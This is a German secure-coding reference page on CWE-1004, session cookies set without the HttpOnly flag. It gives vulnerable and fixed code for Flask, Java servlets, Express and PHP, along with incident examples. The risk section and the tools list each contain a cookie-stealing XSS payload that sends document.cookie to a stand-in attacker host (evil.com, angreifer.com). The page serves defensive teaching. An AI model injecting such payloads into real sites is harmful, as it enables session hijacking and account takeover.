Sensibles Cookie ohne 'HttpOnly'-Flag

Beschreibung

Sensibles Cookie ohne 'HttpOnly'-Flag tritt auf, wenn ein Cookie mit sensiblen Informationen (wie Session-Tokens) ohne das HttpOnly-Attribut erstellt wird. Ohne dieses Flag ist das Cookie für clientseitige Skripte über document.cookie zugänglich. Dies macht das Cookie anfällig für Diebstahl durch Cross-Site-Scripting (XSS)-Angriffe - wenn ein Angreifer JavaScript im Browser des Benutzers ausführen kann, kann er das Cookie stehlen und die Sitzung des Benutzers übernehmen.

Risiko

Das fehlende HttpOnly-Flag ermöglicht direkt Session-Hijacking durch XSS. Selbst wenn XSS-Schwachstellen als "gemildert" gelten, bietet HttpOnly Verteidigung in der Tiefe. JavaScript-zugängliche Session-Cookies ermöglichen Angreifern das Exfiltrieren von Sitzungen mit einer einzigen Codezeile: new Image().src='http://evil.com/steal?c='+document.cookie. Moderne Webanwendungen sind ständigen XSS-Bedrohungen durch Drittanbieter-Skripte, Browser-Erweiterungen und Supply-Chain-Angriffe ausgesetzt. HttpOnly ist eine einfache, aber kritische Verteidigungsschicht.

Lösung

Setzen Sie immer das HttpOnly-Flag bei Session-Cookies und anderen sensiblen Cookies. Verwenden Sie Framework-Standardeinstellungen, die HttpOnly automatisch anwenden. Kombinieren Sie HttpOnly mit anderen Cookie-Sicherheitsattributen (Secure, SameSite). Implementieren Sie Content Security Policy zur Reduzierung des XSS-Risikos. Überprüfen Sie allen Cookie-setzenden Code auf korrekte Sicherheitsattribute. Erwägen Sie die Verwendung von Cookie-Präfixen (__Host-, __Secure-) für zusätzlichen Schutz. Speichern Sie nur Referenzen in Cookies, nicht sensible Daten direkt.

Häufige Auswirkungen

AuswirkungDetails
VertraulichkeitBereich: Cookie-Diebstahl

XSS-Angriffe können Cookies ohne HttpOnly lesen und an angreiferkontrollierte Server senden.
ZugriffskontrolleBereich: Session-Hijacking

Gestohlene Session-Cookies ermöglichen Angreifern, sich als authentifizierte Benutzer auszugeben.
IntegritätBereich: Kontokompromittierung

Angreifer mit Session-Zugriff können Benutzerdaten ändern und nicht autorisierte Aktionen durchführen.

Beispielcode und Lösung

Verwundbarer Code

# VERWUNDBAR: Cookie ohne HttpOnly
from flask import Flask, make_response

@app.route('/login')
def login():
    response = make_response('Eingeloggt')
    # Fehlendes HttpOnly - über document.cookie zugänglich
    response.set_cookie('session_id', session_id)
    return response

# VERWUNDBAR: Flask-Session ohne HttpOnly-Konfiguration
app = Flask(__name__)
# Standard setzt möglicherweise nicht HttpOnly
# SESSION_COOKIE_HTTPONLY nicht konfiguriert
// VERWUNDBAR: Servlet-Cookie ohne HttpOnly
@WebServlet("/login")
public class LoginServlet extends HttpServlet {

    protected void doPost(HttpServletRequest request, HttpServletResponse response)
            throws ServletException, IOException {

        Cookie sessionCookie = new Cookie("SESSIONID", sessionId);
        sessionCookie.setSecure(true);
        // Fehlend: sessionCookie.setHttpOnly(true);

        response.addCookie(sessionCookie);
    }
}

// VERWUNDBAR: Ältere Java-Versionen ohne HttpOnly-Unterstützung
// Manueller Header erforderlich
response.setHeader("Set-Cookie", "session=" + sessionId + "; Secure");
// HttpOnly nicht enthalten!
// VERWUNDBAR: Express-Cookie ohne httpOnly
app.get('/login', (req, res) => {
    res.cookie('sessionToken', token, {
        secure: true
        // Fehlend: httpOnly: true
    });
    res.send('Eingeloggt');
});

// VERWUNDBAR: Manuelles Cookie ohne httpOnly
app.get('/set', (req, res) => {
    // Direkter Header - httpOnly leicht vergessen
    res.setHeader('Set-Cookie', `token=${token}; Secure; Path=/`);
    res.send('Gesetzt');
});

// VERWUNDBAR: Clientseitiges Cookie-Setzen
// frontend.js
document.cookie = `preference=${value}; Secure`;
// Kann HttpOnly nicht von JavaScript setzen (absichtlich)
// Sensible Daten sollten nie in clientgesetzten Cookies sein
// VERWUNDBAR: PHP-Cookie ohne httponly
<?php
setcookie('session', $session_id, time() + 3600, '/', '', true);
// 6. Parameter (secure) ist true, aber httponly (7.) fehlt

// VERWUNDBAR: PHP-Session ohne httponly
session_start();
// Standard php.ini hat möglicherweise nicht session.cookie_httponly = 1
?>

Sichere Lösung

# SICHER: Cookie mit HttpOnly-Flag
from flask import Flask, make_response

app = Flask(__name__)

# Session-Cookies konfigurieren
app.config.update(
    SESSION_COOKIE_HTTPONLY=True,    # HttpOnly-Flag
    SESSION_COOKIE_SECURE=True,      # Secure-Flag
    SESSION_COOKIE_SAMESITE='Lax'    # SameSite-Attribut
)

@app.route('/login')
def login():
    response = make_response('Eingeloggt')
    response.set_cookie(
        'session_id',
        session_id,
        httponly=True,      # Nicht über JavaScript zugänglich
        secure=True,        # Nur über HTTPS gesendet
        samesite='Lax',     # CSRF-Schutz
        max_age=3600
    )
    return response

# SICHER: Flask-Login oder ähnliches verwenden
from flask_login import LoginManager

login_manager = LoginManager()
login_manager.session_protection = 'strong'
# Flask-Login handhabt sichere Cookie-Einstellungen
// SICHER: Servlet-Cookie mit HttpOnly
@WebServlet("/login")
public class SecureLoginServlet extends HttpServlet {

    protected void doPost(HttpServletRequest request, HttpServletResponse response)
            throws ServletException, IOException {

        Cookie sessionCookie = new Cookie("SESSIONID", sessionId);
        sessionCookie.setSecure(true);      // Nur HTTPS
        sessionCookie.setHttpOnly(true);    // Kein JavaScript-Zugriff
        sessionCookie.setPath("/");
        sessionCookie.setMaxAge(3600);

        response.addCookie(sessionCookie);
    }
}

// SICHER: Spring Security Cookie-Konfiguration
@Configuration
@EnableWebSecurity
public class SecurityConfig extends WebSecurityConfigurerAdapter {

    @Bean
    public CookieSerializer cookieSerializer() {
        DefaultCookieSerializer serializer = new DefaultCookieSerializer();
        serializer.setUseHttpOnlyCookie(true);   // HttpOnly-Flag
        serializer.setUseSecureCookie(true);     // Secure-Flag
        serializer.setSameSite("Lax");           // SameSite-Attribut
        return serializer;
    }
}

// SICHER: Manueller Header mit allen Attributen
response.setHeader("Set-Cookie",
    "session=" + sessionId +
    "; Secure" +
    "; HttpOnly" +           // HttpOnly enthalten
    "; SameSite=Lax" +
    "; Path=/" +
    "; Max-Age=3600"
);
// SICHER: Express-Cookie mit httpOnly
const express = require('express');
const cookieParser = require('cookie-parser');

app.use(cookieParser());

app.get('/login', (req, res) => {
    res.cookie('sessionToken', token, {
        httpOnly: true,     // Nicht über JavaScript zugänglich
        secure: true,       // Nur über HTTPS gesendet
        sameSite: 'lax',    // CSRF-Schutz
        maxAge: 3600000,    // 1 Stunde
        path: '/'
    });
    res.send('Eingeloggt');
});

// SICHER: Express-Session mit httpOnly
const session = require('express-session');

app.use(session({
    secret: process.env.SESSION_SECRET,
    resave: false,
    saveUninitialized: false,
    cookie: {
        httpOnly: true,     // Kritisch!
        secure: true,
        sameSite: 'strict',
        maxAge: 3600000
    }
}));

// SICHER: Cookie-Hilfsfunktion
function setSecureCookie(res, name, value, options = {}) {
    const defaultOptions = {
        httpOnly: true,
        secure: process.env.NODE_ENV === 'production',
        sameSite: 'lax',
        maxAge: 3600000,
        path: '/'
    };

    res.cookie(name, value, { ...defaultOptions, ...options });
}

app.get('/login', (req, res) => {
    setSecureCookie(res, 'session', sessionId);
    res.send('Eingeloggt');
});
// SICHER: PHP-Cookie mit httponly
<?php
setcookie('session', $session_id, [
    'expires' => time() + 3600,
    'path' => '/',
    'secure' => true,      // Nur HTTPS
    'httponly' => true,    // Kein JavaScript
    'samesite' => 'Lax'    // CSRF-Schutz
]);

// SICHER: PHP-Session-Konfiguration
// In php.ini oder zur Laufzeit:
ini_set('session.cookie_httponly', 1);
ini_set('session.cookie_secure', 1);
ini_set('session.cookie_samesite', 'Lax');
ini_set('session.use_only_cookies', 1);

session_start();

// SICHER: Wrapper-Funktion
function secure_setcookie($name, $value, $expire = 0) {
    setcookie($name, $value, [
        'expires' => $expire ?: time() + 3600,
        'path' => '/',
        'secure' => true,
        'httponly' => true,
        'samesite' => 'Lax'
    ]);
}

secure_setcookie('auth_token', $token);
?>

Ausgenutzt in der Praxis

British Airways Datenleck (2018)

Angreifer nutzten JavaScript-Injektion (Magecart), um Kundendaten auf der British Airways-Website abzufangen. Über 380.000 Transaktionen waren betroffen, da Cookies und Formulardaten durch bösartige Skripte erfasst wurden.

MySpace Samy Wurm (2005)

Der Samy-Wurm demonstrierte großflächigen Cookie-Diebstahl über XSS, bevor HttpOnly weit verbreitet war. Der Wurm verbreitete sich auf über eine Million Profile in weniger als 24 Stunden.

Magecart-Angriffe auf E-Commerce-Websites (2018-2020)

Kompromittierungen von Drittanbieter-Skripten haben Session-Cookies von Websites gestohlen, die HttpOnly nicht verwendeten, was Massen-Session-Hijacking bei Tausenden von Online-Shops ermöglichte.


Tools zum Testen und Ausnutzen

  • Browser DevTools - Cookie HttpOnly-Flag überprüfen.

  • Burp Suite - Cookie-Attribute analysieren.

  • OWASP ZAP - Auf fehlendes HttpOnly scannen.

  • XSS-Payload: <script>new Image().src='http://angreifer.com/steal?c='+document.cookie</script>


CVE-Beispiele


Referenzen

  1. MITRE Corporation. "CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag." https://cwe.mitre.org/data/definitions/1004.html

  2. OWASP. "HttpOnly Cookie Attribute." https://owasp.org/www-community/HttpOnly

  3. Mozilla Developer Network. "HTTP Cookies." https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies